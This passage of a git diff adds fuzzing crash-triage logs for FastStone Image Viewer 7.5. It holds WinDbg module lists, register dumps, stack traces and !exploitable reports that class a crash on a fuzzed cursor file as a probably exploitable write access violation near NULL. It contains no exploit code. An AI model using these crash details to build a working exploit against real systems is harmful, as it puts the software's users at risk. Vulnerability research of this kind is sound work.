ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 08038130 07fb5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 003c8000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 003c8000 1029f6b5 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62ae 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 003c8000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/53026/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/53026/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..4e04b59 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/53026/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/53608/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/53608/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..9258160 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/53608/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Writing To 0x0000000000000002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/53608/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/53608/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..b3abcb1 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/53608/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/53608/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/53608/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..62d167b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/53608/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0xCE0: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0xCE0: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`74ea0000 00000000`74ea8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(ce0.1c08): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07fb7b19 edx=00000000 esi=00000000 edi=07de0fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.780453548520653920000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 4.277990000000000000000e+0005 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=2.06754e-024 6.01614e+020 3.58968e+027 7.57871e-014 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 08098130 08015930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00369000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00369000 d45b2f96 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62a5 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00369000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/53608/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/53608/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..62d167b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/53608/WindowsDebugEngine_description.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0xCE0: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0xCE0: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`74ea0000 00000000`74ea8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(ce0.1c08): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07fb7b19 edx=00000000 esi=00000000 edi=07de0fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.780453548520653920000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 4.277990000000000000000e+0005 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=2.06754e-024 6.01614e+020 3.58968e+027 7.57871e-014 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 08098130 08015930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00369000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00369000 d45b2f96 00000000 